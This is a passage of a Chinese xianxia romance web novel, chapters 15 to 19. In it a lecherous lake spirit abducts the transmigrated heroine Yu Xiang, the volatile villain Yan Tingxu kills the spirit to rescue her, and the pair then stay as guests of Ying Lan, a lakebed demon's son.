他们将身上带着的发簪玉钗扔进湖面,湖面像是一张会呼吸的嘴,涌出一个个漩涡将这些金银珠宝吸入水里。
片刻后,湖面突然涌出一股白烟,紧接着一个模糊的人形便若隐若现出现在众人视线里,那身影飘渺如烟又带着几分不似凡物的仙气,像是一位不食人间烟火的仙人应召而来。众人见到湖神显形大喜过望,连忙磕头表示对他的尊敬。
“你们
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将我召来所为何事?”白烟内传来渺茫的声音,声音一层叠过一层,递到土匪们的耳边,里面的大哥率先出声:“湖神大人,求求你救救我们,我们今天可是碰上硬茬了。”他将今晚遇到一名厉害的黑衣少年的事情告诉湖神,着重强调了那人会些妖术还有添油加醋的说他不敬重湖神,不肯孝敬他云云。
令他们奇怪的是湖神并没有被他们慷慨激昂的指责所生气,但是却给了他们一把匕首,说用它便可化解。待说完后,他便像刚开始那样化作一缕白烟四溢在湖面上,了无踪影。
土匪们得到这样一件好宝物立马高兴起来,再也不见先前卑躬屈膝的模样,他们兴奋的打量着手上这把匕首,嘴里却恶毒的商讨着该如何将那少年千刀万剐。
晨光熹微,东边天际的朝霞逐渐往上攀延,企图再看一眼遥远的月亮。
虞想缓缓睁开双眼便看到对面的雁亭序正安静的躺在她的身侧,纤细的睫毛如同一把小扇子在眼底洒下一片阴影,遮住了那双锐利的眼睛,让他整个人看起来乖巧许多。
虞想悄悄掠过他下床洗漱,待到整理好发髻后便一人来到大堂用早膳。土匪们一早便来蹲守了,现在见她一个人在这里随即兵分两路,大哥拿着匕首带着一些小弟上去解决掉黑衣少年,其余人便抓住这个小姑娘。
他们刚要行动便被身后跟来的湖神一个定身术定在原地。湖神悄无声息在大堂里现身,化身一名青衣男子,手里晃着把折扇,便往虞想的所在的位置走去。
“姑娘,是一个人吗?”湖神云深摇摇折扇对虞想开口问道。
虞想看着眼前这个还算俊秀的青年,摇摇头,“不是,我的同伴还没有过来。”
“那这人可是姑娘的伴侣?”他自然而然的坐在虞想身侧,凑近问道。
虞想被他这突如其来的动作吓了一跳,这般毫无边界感的动作与话语让她隐隐有些不悦,更何况这个人给她的感觉就不好,看人总是带着几分阴冷的感觉。
她放下手中的早食,礼貌告别道:“我还有事,先告辞了。”
说罢便往楼上跑去,想要找雁亭序。
大反派虽是书中反派却没有像这人一样给她一种不适的感觉,仿佛被他缠上就像是被水草缠住脚踝想动都动不了。
云深望着虞想翩跹的衣摆扬声追问道:“既然姑娘没有伴侣,那云某可否能成为姑娘的命定之人?”
虞想不想搭理他,连忙向上跑去,一溜烟儿便没了踪迹。
水妖见人都消失不见了才收回恋恋不舍的视线,好久没有遇上一个顺眼的可人儿了,可不能让她跑了!云深缓缓露出一抹笑意。
在看到一旁被下了定身术的土匪们后,他脸上的笑意逐渐消失,眼神也变得冰冷起来,倒是像极了土匪们在云雾中窥视到的湖神。
他伸手打了个响指,土匪们便跟在他的身后接连出了客栈来到一条小巷子里。
“刚才你们想对她做什么?”土匪们听到这句毫无感情的询问冷汗刷的一下就流了下来,他们连连摇头,表示并没有想做什么。
云深以询问的姿态却并没有给他们回答的机会,他兀自摇头,像是对他们的回答不满,又像是在自言自语,“要怪就只能怪你们动错了人,像她那样的可人儿,你们也配?”
咀嚼声在小巷中接连传来,日光渐渐涌上小巷的墙头,隐约照到一点张牙舞爪的影子,细看之下又好似什么也没有,毕竟巷子里空无一人。
16. 第 16 章
街上车水马龙,高楼大厦在太阳光的映照下反射着白光,刺眼的光芒将虞想的思绪拉了回来,她在思考,她究竟是是如何回到“现代”的。
就在三个时辰前,虞想跑回房间碰巧撞见了出来寻她的雁亭序,她那被看的发毛的心才稍稍安定些。雁亭序不由分说的拉着她在街上溜达了一圈,买了些吃食后回到客栈。
对了,回到客栈!
虞想记起来她是如何回到“现代”的了。她与雁亭序回到房间后的时候画面就突然变了,像是一脚踏进了异时空。
可虞想知道,这里不是现代,因为虽然这里看起来很像现代,可这些高楼大厦下面都是空荡荡的没有地基,就像是整座建筑都建立在漂浮的半空之上,下面是广袤无际的白。街上的汽车也一样,行驶在漂浮的半空中,表现的却和在正常地面一般无二。
虞想甚至遇到了出门买菜的邻居,她乐呵呵冲虞想打招呼,丝毫没有觉察到自己走在一片白色的迷雾里。
这不对劲!
雁亭序看着趴在他身上的虞想,心中警铃大作,这也太不对劲了。他们怎么就突然摔在床上了?
雁亭序喉咙滚了滚,强行掩饰心脏骤然狂跳的声音,他也不知为何,就是不想让虞想听到,不想让她知道这颗心脏此刻正在疯狂跳动,哪怕一刻,因为他害怕这颗心脏同他一样被狠狠的抛弃。
他往后靠了靠,想要与她拉开点距离,谁知虞想却得寸进尺,他退一分虞想便往前一分,两人的距离非但没挪开,反而却越来越近了。
他没出息的别开头,故作凶狠道:“快点起来!”
谁知今日的虞想与往常不同,听到他的话后非但没有起身,反而将身子压得更低。年轻鲜活的两具身体隔着衣裳紧紧依靠在一起,近的能听见彼此的心跳声。
雁亭序能明显的感觉到怀里独属于女孩子的柔软,浑身上下就像是水做的一般,哪里都软,仿佛他一使劲就能把人捏疼,一时间他要把虞想从身上提下去的想法也消失的无影无踪。
他像是被架在火上炙烤一般,浑身上下都充斥着滚烫的热意,火苗烧进他的胸膛,流进他的四肢百骸把他满身的恨意与爱意都灼烧殆尽,只剩下一副软绵绵的躯壳供她搓磨。
雁亭序闭闭眼,颇有几分认输的姿态,像是一只高傲的狼王为自己的伴侣低下头颅供她驱使。他承认,他喜欢她这样亲昵的靠着他,喜欢盛满银河的眼睛现在只盛下他一个人。
似有所感,虞想清润润的眼睛就那样深情的望着他,洁白无瑕的藕臂环上他的脖颈,将他套牢在她的领地之内。
昨夜那股香甜的气息愈发浓郁,浸染他满身,雁亭序退无可退,或者说他根本也不想退,目不转睛地盯着樱粉色的唇瓣在他眼前逐渐放大,脸颊扑上独属于女孩子的温热吐息。
雁亭序感觉自己浑身都要烧起来了,一股酥麻感从尾椎骨直冲天灵盖在他脑海中炸响了一个又一个烟花,他焦渴地滚滚喉咙,,内心隐秘的期盼樱粉色的唇瓣做些什么。
强健有力的臂膀在这一刻变得脆弱不堪,被女孩子随意一压便毫无支撑力,径直往下倒去。
咚——
虞想看着一座座高楼大厦轰然倒地,露出这里本来的模样,一个水晶般透明的光球寸寸显现,眼前的汽车、行人都如同海上的浮沫消散在半空中。
先前的一切都是根据她的记忆编织出来的幻象,为的应该就是迷惑她。也不知道是不是因为她是穿书的原因,她对这些幻象反而一眼就能识破,丝毫不受这些东西的干扰。
虞想在白色的光球内摸索着前进,她不知道哪里是这个光球的终点,但她有种直觉,只要她往前走就能走出去。
白色的光芒越来越暗,虞想感觉自己已经走到边缘位置了,这个光球快消失了,她大胆的选择一个方向,往前飞奔而去,粉色的裙摆在风中吹皱,绽开一个花朵,像极了开的正盛的樱花,衣带向后飘扬飞舞与墨色的发丝交相辉映。
虞想一脚踏进另一个光球内。
烛光被她的闯进惊扰了心绪,化作一只蝴蝶就要飞去,暧昧的拉出灯光摇摇晃晃才稳住身子。
虞想往前看去,古色古香的房间和他们所在的房间一模一样。雁亭序仰躺在床榻上,一动不动,他呼吸匀称,薄面上隐隐泛出绯红。
虞想担心他又受伤跟上次一样一声不吭的倒在那里,连忙上前去查看他的情况。
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她拍了拍他泛红的脸颊,他却丝毫没有反应,仿佛睡死了般。虞想见状用力扯着他宽阔的肩膀摇晃,企图将人唤醒。
好在这次雁亭序成功苏醒,那双漂亮的丹凤眼缓缓睁开露出那双黑曜石般的眼睛,待看清眼前人之后,狭长纤细的睫毛微微上抬,颤巍巍的抖了抖,将他原本那份凶戾的气势中和了几分。
雁亭序看着眼前的虞想一脸担心的看着自己,瞬间明白了刚才发生的事情都是幻象,但一想到刚才发生的事情,掩藏在黑发后的耳根不由得红了几分,脖颈都染上热意。
他往后退了退,不想让她发现自己的异样。虞想倒是没想那么多,看着人苏醒后悬着的心终于放下来。
她正要开口,却发现自己放在雁亭序身上的手指逐渐变得透明,自手指一路向上短短一眨眼的功夫已经到她的手臂了。
她连忙抖着嗓子问道:“雁亭序,你快看我这是怎么了?”软甜的嗓音带着几分哭腔,瞬间将雁亭序几分旖旎的心思搅得一干二净。
他看着虞想的状态愈发觉得她就是要脱离这片梦境了,可普通脱离梦境直接出去便是,根本不会出现身体一点点变成透明的状态,除非她的身体此刻正在远离让她致梦的地方。
雁亭序的眼神瞬时变得狠戾,谁敢在他眼前抢人?
他语气快速而又急切的向虞想解释着原因,末了将近乎透明的人揽在怀中在她额头上留下郑重的一吻,“你放心,我一定会找到你的。”
雁亭序脱离那个梦境之后立刻在房间寻找虞想,果不其然她被人给带走了。
他环顾四周,发现这个房间里莫名多了个香炉,炉里还有些许白的的粉末,雁亭序用手捻了捻,发现那是一枚灼烧殆尽的魇妖妖丹。
魇妖,顾名思义会编织幻境,让人沉浸编织的梦中从而耗尽入境之人的力量,让他变成一具干尸。
还真是下三滥的手段。
尤其是他还中了这种下三滥的手段,让别人从他眼皮子底下把虞想带走了。
想到这,雁亭序双手紧握成拳,青筋在他手上跳跃,显示着他此刻的气愤。
他当即将手上的白色粉末下了个追踪术,顺着线索一路找去。
17. 第 17 章
硕大的蓝色贝壳内,一位人类少女此刻正安详的躺在里面。贝壳四周挂上了漂浮的各色海藻,远远看去如同丝带在风中飘扬。
这是翠湖底下的一座宫殿,殿内奢华无比,处处铺就着金色的地砖,在夜明珠的作用下将整座宫殿照耀的金光闪闪。
这里的窗都是用磨制的白色贝壳铺成的,近乎透明,能让里面的人清楚的看清外面透过的阳光。
殿内的布置大都是仿照人类的生活习惯,用湖底的鱼骨、贝壳、珍珠制作而成各种桌椅板凳,用来日常生活。
蓝色贝壳的房间外,几只小妖此刻正趴在透明的贝壳窗外,叽叽喳喳的讨论着什么。
“她好好看,恬淡的睡颜美极了,我好喜欢她睡着的样子。”
“她好小的一只,躺在那里竟然连贝壳都不能填满,太可爱了,好喜欢这样小小的人类少女。”
“要是她能睁开眼睛和我玩就好了,我愿意把我珍藏版的玩具都分享给她。”
“我也是,我也是!”
“我也是,我也是!”
“你们在干什么?”几只小妖精听见一道阴冷的诘问霎时噤了声,不敢再明目张胆的表达对躺在里面的人的喜爱。
云深当然知道自己抢回来了个宝贝,否则他也不必把珍藏多年的魇妖妖丹就这样用掉。这个宝贝是他的,他不喜欢旁人觊觎,这些刚开智的小妖也不行。
他抬手挥退那些小妖,一个人打开房门进去。
此时,虞想小扇子一般的睫羽轻轻动了动,她缓缓睁开双眼,发现自己正处在一个硕大的贝壳里,她伸手摸去,发现手指与胳膊完好无损,仿佛那时的透明是她的错觉一般。
还好没事,虞想悬着的心放了下来。
她慢慢收回手,往四周看去,发现这个房间里还有其他人,这个人碰巧还是她先前见过的,那个在客栈大堂里举止轻佻的男人。
虞想清楚的记得自己是跟雁亭序一道回的房间,可现在却出现在这样一个奇怪的房间里,雁亭序也不在这里,多半是这个男人的手笔。
她警惕地看向坐在茶桌边的人,云深察觉到她的视线,慢吞吞地转过身来,露出一个恰到好处的笑容,他满面春风的询问道:“姑娘,你醒了。”
又是那种阴冷令人不适的感觉,虞想听到他的话就感觉后背窜上一股寒意,像是被一条毒蛇盯上了一样。
她迅速分析着自己目前的处境:雁亭序这个反派大杀器不在身边,断萤也在她的识海中沉睡,眼前这个男人是什么目的也不清楚,但是如果他想杀她的话恐怕也不会成功,毕竟她的身上还有一个保命葫芦。
想到这,虞想稍稍安定些。
对面的云深似乎是翘瞧出她的不安,开口安慰道:“姑娘不必警惕,我对你并没有恶意,我只是相同姑娘交个朋友而已。”
虞想对他这一番说辞保持怀疑,她不相信一个把她拐来的人会有什么好心思。
“若是不信,姑娘可随我来。”云深说完便在前面引路,见虞想被落下还特意停下步子等她。
虞想将信将疑地跟着他穿过一道水草搭建的拱桥,来到一个空旷的庭院内,院内的墙上都挂着黑色的像幕布一样的东西。她不知道他打的什么鬼主意,便在不远处遥遥看着,没有离他太近。
云深见此,无奈的摇摇头,“姑娘,我是真的没有恶意。”
尽管他一脸真挚,可虞想还是没有忽视他眼中一晃而过的那抹狠毒。她下意识想转身逃跑,却被云深用一个术法定住。
云深打了一个响指,黑色的幕布缓缓撤去,露出里面的景色,大片的鲜花在湖水的浸泡下愈发显得青翠欲滴,每瓣花瓣都像是精雕细琢一般,百花争艳,美得不可尤物。
他缓缓靠前,往虞想的方向走去,“姑娘,乖乖的呆在这里不好吗?为什么要跑呢?”
虞想咬了咬唇瓣,意识到自己大意了。
云深兀自说道:“我见姑娘第一眼就已是十分欢喜,想要将姑娘喜结连理,听闻世间的女子多爱鲜花,我将这满园的鲜花都赠予姑娘,希望姑娘不要嫌弃。”
“说什么废话,你要是真有那样好心为什么还把我定在原地?”虞想颇有怒气的瞪他一眼,对这人的说辞很是厌烦。
那双清亮的鹿眼盈满怒气,樱粉色的唇瓣紧紧抿着,让她那张绝色的脸庞显得更加生动可爱。
云深见她一幅怒气冲冲的样子,眼神一亮,“对,对,就是这样,这般鲜活尤为好看。”
虞想搞不懂这死变态要搞什么,此时她正好在原主的记忆中找到解开定身术的咒语,她默念咒语,解开身上的束缚,“好看你个头,你个死变态!”
说完她拔腿就往院外跑去。
云深先是被她能解开他的定身术震惊了一瞬,随后迅速化作虚影追去。
不出片刻,虞想就被他扯住发梢,无法再往前跑去。
此时顺着线索找到这里的雁亭序碰巧看到这一幕,他顿时跑去一道魔气打在云深的手腕上,云深吃痛,下意识松开手里的头发,虞想的发梢这才得以解救出来,“雁亭序!”
甜蜜又带有惊慌的声音自虞想那处传来,雁亭序一个箭步便来到她的身边,“别怕,我来了。”
他摸了摸虞想的发顶,将人揽在身后,随后化作一缕流光冲不远处的云深袭去。
“呵,就是你这只不知死活的蚯蚓想要跟我抢人。”黑色的魔气大盛,充盈在雁亭序体内,若是有被他杀过的妖见到这场景肯定会说,“完蛋了,大魔头下一秒就要大开杀戒了。”
可惜没人能告诉云深这件事,因为见过雁亭序这幅模样的无一例外全都身首异处。
云深被人一眼揭穿身份,脸上的彬彬有礼就要维持不住了,他好言劝道:“这位兄台,不要多管闲事,这里是我的地盘,你若是不想惹些麻烦就请速速离开。”
“
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呵,你的地盘,是么?”
他二话不说就直冲那张令人厌恶的脸袭去,云深一个下腰成功避过,却被雁亭序接下来的又一道魔气逼的直退。
小院墙壁上的花朵在这道气流的冲撞下颤巍巍的晃着脑袋,似是不知为何会突然“地震”。
云深飞身向后掠去,雁亭序却没有放过他的意思,直接化作虚影将他一个反剪压在地上,他卸去魔气,直接用一拳直捣云深那张脸上。
这张脸他一见就厌恶至极。
拳肉相击发出一道闷响,云深痛的大叫一声,雁亭序更是烦躁,直接将人下巴卸了。云深扭着身子想要逃离,却不知为何一点术法都用不了,被雁亭序死死压在身下。
雁亭序根本没收着劲,他就想打死这个不知死活的蚯蚓,呵,他算什么东西,也敢觊觎虞想,死一万次也不足惜。
他一拳一拳撂在云深的脸上,将他打的满脸是血,牙齿藏在血污里不知吐出来了几颗。
不知过了多久,地上还在挣扎扭动的人已然没了气息,雁亭序仍不解恨,一缕魔气自指尖溢出,化作一道青色的明火,将地上的人少的一干二净,连神魂都没有放过。
此时,满院的鲜花疯狂摇晃,化成一张张美丽的人脸,她们已经没有了躯干,也不知道在这里被困了多久,她们一时间失去束缚她们的阵法,反而不知道该做什么。
虞想突然见到这么多的人脸也被吓了一跳,她很快就缓过神来,询问道:“这是怎么回事?”雁亭序看着墙上摇晃的虚影,解释道:“这只蚯蚓本该没有这样强大的实力,但是他却在这个院子里设了个阵法,将这些女子作为花肥,吸食她们的精气,从而使自己的力量不断增强。”
听到这样的解释,虞想顿时觉得那只蚯蚓还是死的太便宜了,刚才真应该让雁亭序再给她两拳。
雁亭序走到他的身侧,牵起她的手,往她的手心放了个黑色药丸。虞想的注意力瞬间转移到手中的药丸上。
想到他的虞想时时刻刻都在被人觊觎,雁亭序的心气就不顺,他磨了磨牙,颇有些气恼道:“这个是易容丹,可以变换容貌,出门在外你这张脸太过招摇。”
有吗?应该没有吧。
不过雁亭序这样说应该也有他的道理,虞想接过药丸一口吞下,紧接着原本一身裙衩的小姑娘就变成了个清秀的小少年。
虞想眨眨眼,从雁亭序震惊的瞳孔中看到自己的模样,想不到这个药丸真的可以变成男子的模样。
此刻水波轻晃,那些人脸此刻也都缓过神来,大哭大笑地从小院往四处散去。
这一异象引起殿内小妖的注意,碰巧此时一个小妖路过此地,见到这个场景大叫一声,顿时宫殿的守卫迅速往这边聚集。
听到声音,虞想果断拉着雁亭序往外跑去,他们得赶在那些守卫到来之前离开这里,水波荡漾,两个牵着手的少年人,迎着四散的阳光奔跑在绿色的拱桥上。
18. 第 18 章
身后,一大批手持银叉的小妖穷追不舍,他们用银叉发出一道道攻击,势必要将他们捉住。
虞想紧紧牵着雁亭序的手,一路狂奔,道路七拐八拐,雁亭序只感觉到手心紧握的软绵的手掌此刻带给他无穷的力量。他挥出一道魔气,化解小妖攻击,将虞想安全的纳入自己的领域内。
身后的妖精们似是也发现了虞想不会术法,集中力量往她那里袭去。
雁亭序顿时将魔气化作一面屏障,遮挡住他们的攻击。
就在此时,另一队手持银叉与他们迎面撞上,两队人马呈夹击之势将他们困在中间。雁亭序立马拉着虞想往一侧跑去。
因为有另一队小妖的势力加持,一时间对他们的攻击更加迅猛,五颜六色的法术一道道袭来,雁亭序为护住虞想承担了绝大部分攻击。
就在此时,一道白色的术法迎面而来将他们分开,虞想一下子跌入旁边的水墙之内,透明的的水墙却像是一个无尽的漩涡,立刻将她吞噬殆尽。
雁亭序那边也是如此,另一侧的水墙将他吞入,两个人就这样活生生的消失在小妖面前。
小妖们见状立刻兵分两路往两侧的水墙跳去,势必要捉住这两个胆大包天敢害死云深大人的人类。
虞想跌入水墙之后还没稳住身子就看见一个个小妖精喊打喊杀的追过来。她管不了那么多,立刻拔腿就跑,这里地形与外面不相上下,曲折离奇,她只能莽着头随便选一条就跑。
她也不知奔跑了多久,双腿已经开始泛酸,身上的力气也已经用了七七八八,她知道自己的体力肯定是不能和这些小妖精比的,得尽快脱身才是。
虞想跑到一座府邸前,这座府邸大门与其他的都不相同,隐隐透露出一种低调的奢华,她连忙推开大门进去。
身后追来的小妖却在看见她跑进这座宫殿时止住了脚步。虞想往回看去,发现他们只敢在门外徘徊,似是想要将她捉住却又忌惮着里面有什么东西。
她来不及想那么多,既然这群小妖不敢进来,那就说明她暂时是安全的。
虞想瘫软在门后,大口的喘着粗气,心脏因为剧烈运动砰砰作响,在耳边竭力的昭示着自己的存在感。虞想闭着眼,平复着呼吸与心跳。
这一天天的,就没有个安稳日子!
虞想休息片刻,待身上力气恢复了七七八八后,才撑着大门起身,往里走去。
这里的布局很像是一户大户人家,亭台楼阁、珠帘水榭样样皆有。虞想顺着一条花间小道走去,她不知道为什么,这里明明是在水底,可她却呼吸如常,宛若行走在陆地上。
这里的花也是如此,花团锦簇,十分艳丽,不过有先前人脸鲜花作对比,虞想是不敢轻易触碰这些美丽的花朵了。
小道尽头,视线突然开阔起来,不远处一位身着黄色衣衫的青年此刻正坐在石桌上烹茶。
茶香袅袅,四溢在半空中,整个院子都浸泡其中。不远处的竹林随风荡漾,发出簌簌的声响割裂开透进湖面的阳光。
明明这里很是奇怪,透过澄澈透明的水波看见的蓝天,一个莫名出现的青年,锦簇的花团与茂盛的竹林,可虞想却没有了半分危险与紧迫感。
那人自茶桌缓缓侧过脸来,露出一张姣好的面庞,剑眉星目,长身玉立。他看见虞想微微牵唇露出一个微笑,“公子瞧着面生,不知从何而来?”
这人说话时给人一种如沐春风的感觉,与先前她遇到的故作姿态的云深不同,眼前人是真的很懂礼节。
虞想先是被他喊作公子懵了一瞬,随后迅速反应过来,她现在是女扮男装的样子,所以他喊她公子也不为过。
她礼貌的回以微笑,“实在不好意思,我是误打误撞才跑到这儿的,我马上就走。”
“无妨,来者是客,公子何不来饮杯茶再走。”应澜邀请道。
虞想刚才才经历了一场酣畅淋漓的长跑,现在正口渴的厉害,听到应澜的邀请索性就留下来喝几杯茶,顺便打探一下信息。
她隐隐觉得先前遇到的那些四散的人脸鲜花在原著中出现过,这里说不定又是原著中隐藏的剧情线。
热腾腾的茶水滚过舌尖,沿着喉头滑落,虞想感觉整个身子都熨贴起来,她不由得夸道:“公子这烹茶技术当真是了不得。”
“公子喜欢就好,不知公子姓名?”应澜将她的茶杯填满,问道。
“我叫虞想。”虞想接过茶水,低声回道。
“在下应澜。”两人互通姓名。
虞想一听到应澜这个名字,手里的茶水抖了抖,很快又被她稳住。
应澜这个人可是在原著中有着一席之地的有名配角。虞想之所以对他的名字熟悉是因为在原著中,这个应澜以为自己是有龙阳之好。
可就是这样一个人却在遇到女主顾影后被她的真挚与温柔打动,意识到自己是喜欢女主,从而对女主展开热烈的追求,成为男主林疏放强有力竞争情敌,也为推进男女主感情线作了不可磨灭的贡献。
虞想抖了抖茶水这个小动作并没有逃过应澜的眼睛,他并不知道眼前这个少年为什么在听到自己的姓名后会有如此表现,难不成他认识自己?
应澜敛住神思,又唤仆人端上几份点心。
虞想在意识到眼前人是应澜后对他的警惕也稍稍褪去了些,毕竟原著中这个人物还算是个好人,没有那么多坏心肠。
她捻了一块桃花酥喂进嘴里,小小的桃花酥里面是一朵平铺的桃花,被她咬掉一块后露出里面的花心,而且这桃花酥入口满是甘甜,再喝上一口茶,茶水微涩刚刚好中和掉那股甜味,实在是美味至极。
应澜见她喜欢,便将其他点心也往她那里推了推,“虞公子不知,我这里已经很久没有客人来拜访了。”
虞想知道,他是被他老爹囚禁了嘛,原著中提到过,这位翠湖里的大妖之子不知犯了什么事被他父亲囚禁在一座小院里,是女主将他解救出来并把他带走的。
茶点用完后,应
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澜再三挽留虞想让她在这里多待几日,虞想本要拒绝可一想到外面那些虎视眈眈想要捉住她的小妖精就没再推辞,在这里住下。
应澜见她答应大喜过望,立刻唤仆人将客房收拾出来以便让她入住。
这里是湖底,并不像陆地有很多的灰尘,仆人手脚利索很快就将房间的床褥铺好,虞想紧接着就住了进去。
里面的构造格局与陆地上差不多,虞想简单收拾了一下就爬上床塌准备入睡,这几天梦里跑现实跑都快要将她双腿跑断了,两条腿一沾床就跟软绵绵的棉花一样,说什么都要休息,虞想拗不过它们,只好闭眼睡觉补充体力。
第二天一早,虞想刚洗漱完就看见门外负手而立的应澜,“应澜,你怎么会在这里?”
应澜见她笑着回道:“我走着走着就走到这里来,不知道虞兄可否用过早膳,要是没有要一起去吗?”
面对如此热情的邀请,虞想欣然答应。
仆人早已经将早膳摆在桌上,大大小小的瓷器摆满石桌,香气四溢。米粥软烂入味,里面还用着切碎的葫芦卜丁与南瓜丁,入口带着一股淡淡的甘甜。
配着桌上的其他早点,虞想吃的心满意足。
两人吃完一道在花园里消食,一路走着一路闲聊,随后来到一个凉亭里休息。
虞想坐在凳子上斜靠着石柱,仰头看着小院上方漂浮过的游鱼,这里应该是有所谓的结界,阻隔着外面的水流,能让人在里面自由呼吸。
虞想目不转睛的盯着外面的小鱼小虾,突然间水波晃动,搅乱了外面的景色。
一侧的应澜却突然神色一变,“谁?”
他眼神灼灼的看向不远处,一道黑色的魔气撕裂虚空,骤然出现在他们面前。
雁亭序的身影一寸一寸从虚空中显现,他抬眼看向对面的凉亭,待看清里面的人后,双眼眯起,眉目间惹着恼怒。
总有人趁他不在想要抢他的虞想!
雁亭序磨了磨牙,心中已经把这个男人八百种死法已经想了个遍。
他眉眼一沉,冷哼一声,眼见就要发作。
虞想见他这样就知道只是他发怒的前兆,她立马从凉亭起身,往他的方向跑去。
“雁亭序,你怎么来了。”她颇为高兴的喊道。
太好了,这个反派大杀器来了,那她岂不是抱紧大腿就可以小命无虞。
雁亭序见她看着自己就把那人落在身后高兴了一瞬,随后听到她的询问后,微微翘起的唇角瞬间耷拉下去,满脸不悦,“怎么,我来还打扰你了?”
虞想被他这话弄得莫名其妙,随即她又想起大反派本来就阴沉不定,就是这几天表现的颇为正常让她险些忘了他还是个神经病。
雁亭序见她不说话,心中更是气闷,一把将人扯过,自然而然地牵住她的手宣示主权。
不远处的应澜见到这个场景,眼眸中闪过一丝耐人寻味。
他笑的如沐春风,朗声问道:“虞兄,这位是?”
19. 第 19 章
虞想竭力扯着大反派蠢蠢欲动的手,向对面的应澜介绍道:“这位是我的朋友雁亭序,他是来找我的。”
“哈哈,雁亭序你说是吧。”虞想为了拉住他,说话都近乎要咬牙切齿了,她可真怕这个大反派一声不吭地就和人打起来,毕竟他的脾气是真的喜怒无常,一点道理不和你讲。
雁亭序不明白虞想为什么对这个人这般友好,但五指交扣手心被她紧紧握住的感觉实在是太美妙,他顿时生不出心思去计较那些,勉为其难地点点头,算是认同了虞想这番说辞。
虞想这才松了一口气,应澜在原著中是个正面角色,没有干过什么坏事,自己为逃命躲到他这里来他也好吃好喝好招待,虞想实在是不想在大反派手下看到他血溅三尺的模样。
应澜见此立马道:“既然是虞兄的朋友那也就是我应澜的朋友,雁公子不妨也在这里住几天。”
雁亭序看了他一眼,轻嗤一声,勉强应下。
他牵着虞想走在前方,丝毫没有意识到他们现在是两个男子的身份,这样总会引起一些奇异的打量,就比如每个见过他俩的仆人,视线总是不由自主地往他们牵着的手看去。
应澜跟在后面,看着雁亭序宣示主权的动作,露出一抹意味深长的笑。
他快步跟去,将两人带到这里客厅,仆人们鱼贯而入,十分迅速的将午膳布好。
应澜笑着说:“今日有两位至交好友作陪,咱们不醉不归。”
雁亭序半点儿面子不给,开口道:“谁跟你是好友?”
虞想看着应澜的脸僵了一瞬,立刻打圆场,“他、他的意思是说,你们还不熟,还不能称得上是至交好友。”
见虞想递上台阶,应澜不好驳了她的面子,脸色这才稍稍恢复些,露出个不尴不尬的笑容。
雁亭序听到虞想维护那个不知从哪冒出来的人下意识就要反驳,却被虞想在桌下一把摁住大腿,独属于女孩子的温软与滚烫从两人相触碰的地方传遍全身。
雁亭序被烫的呼吸急促了一瞬,险些哼出声来。他瞪了虞想一眼,这个时候干嘛摸他,他话还没说完呢。耳垂自然而然地染上绯红,就连衣襟下的白皙的脖颈都泛起热意,他难耐的紧了紧拳头,把刚才要说的话瞬间抛到九霄云外。
虞想被他这一眼瞪得莫名其妙。她这可是为他好,现在他们可是在人家地盘上,他怎么一点做客人的自觉都没有,要不是她拳头不够硬,真想给他缝上这张嘴。
应澜将两人的小动作尽收眼底,他唤来一个仆人,耳语一番,仆人接着就跑了出去,很快带回来一盏银色的酒壶。
他热情的给两人满上,举杯道:“虞兄,雁兄,这百花酿可是我珍藏多年的好酒,今日特意拿出来招待二位。”
雁亭序此时正被虞想那一下弄得口干舌的,接过杯子一口饮下,应澜直呼好酒量,又给他满上。
雁亭序心痒难耐,仿佛一把烈火烧在他的心头,焦渴不已,因此对应澜的递酒也没有拒绝,就那样和他喝了起来。
虞想原本也想尝尝这百花酿的滋味,但看见旁边的雁亭序两三杯下肚,俊美白皙的脸已经通红,终究还是没喝。
经验之谈,他们两个最好还是有个清醒的,否则一不小心就得陷入大逃亡模式。
酒过三巡,应澜也喝的直接醉倒在桌上,被一旁的小童架着回到他自己的房间。
虞想起身,垂首望着酒桌上的雁亭序,他现在已经是喝醉的模样,那双狭长的丹凤眼现在像是蒙了一层水雾,抬头看她的时候莫名带了几分乖巧。
挺翘的鼻头也是红红的,配上他这副低眉顺目的模样,让人顿时生出几分他很好欺负的感觉。
虞想戳戳他的脸,问道:“你还记得自己是谁吗?”青葱如玉的指尖自脸颊划过,落到鼻头上,雁亭序见着眼前的手指顿时生出几分想舔的想法。
他这样想着也这般做了,他轻轻闭上双眼,颤巍巍的睫毛透露出他内心的紧张,他缓缓抬头,任由指尖滑落,落到他的唇瓣,不给虞想反应时间,他启唇将这只想念已久的手指含进口中。
虞想不知事情是如何变成现在这个样子的,她下意识想把手抽出来,却被他轻轻咬住。
湿热的口腔包裹着她的整根手指,灵活的舌头围着手指舔、弄,又吸、又吮,雁亭序喉头滚动,将口中生出的津液吞下。
灼热的吐息喷洒在手背,像是有一根羽毛轻轻挠了挠虞想的心房,企图打开房门溜进去。
耳根连着脖颈早已烧的通红,雁亭序的意识也已经烧的稀里糊涂,只想留下身边的这个人,不让她离开。
虞想看着醉的一塌糊涂的雁亭序,少年无疑是生了一副好相貌,剑眉星目,轮廓分明,睁眼看人时自带一股凌厉的气势,闭上双眼却又显得有些乖顺,像是在外威风凛凛的大狗,在家却只冲你撒娇。
许是雁亭序喝的酒从指尖也渡给了她,虞想的心湖莫名泛起几分涟漪。她现在不用得到答案也知道雁亭序已经醉的不省人事。她掐着他的下巴,用了几分巧劲才成功将手指拿出来。
白皙的食指被舔得湿漉漉的,上面挂上几分亮晶晶的涎液,虞想颇为嫌弃地往雁亭序身上一抹,随后将人架起。
好在雁亭序并不是全然没了意识,还能配合她往前走着,否则她是真的不能扶着一个成年男子走回客房。客房离这里不远,不出百步,就是如此短短的距离,也将虞想累的够呛。
她将人推在床榻上,用手扇着风找到茶壶满满的给自己倒了一杯。
床塌上的雁亭序像是寻不到虞想的踪迹,口中喃喃自语:“别离开我,阿虞,虞想,别离开我。”
他一骨碌从床上爬起,睁开迷朦的双眼,目不转睛的盯着不远处的虞想,委屈的像是只要被主人抛弃的大狗。虞想原本还因为雁亭序醉的不省人事将他在心底臭骂一通,现在见他可怜巴巴的顿时也生不出气来。
她又倒了一杯清水,递到雁亭序脸前,“喝水。”
雁亭序眨着眼睛,像是在努力消化她说的这两个字,虞想不想和他磨蹭,掰着下巴给他喂进去,因为动作有些急,雁亭序没来的吞咽,水顺着唇角溢出,往下流去,弄得整张下巴都水淋淋的。
就要喝完的时
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候,雁亭序却被最后一口水呛到,大声的咳嗽起来,咳得眼尾绯红,还一脸控诉地看着她,像是在问她为什么那么凶。
虞想不太想搭理他,转身就要离开,却被他扯住衣角,他执拗地看着她,“还要。”
她又给他端来一杯,他却扭着头,不喝,“要你喂。”
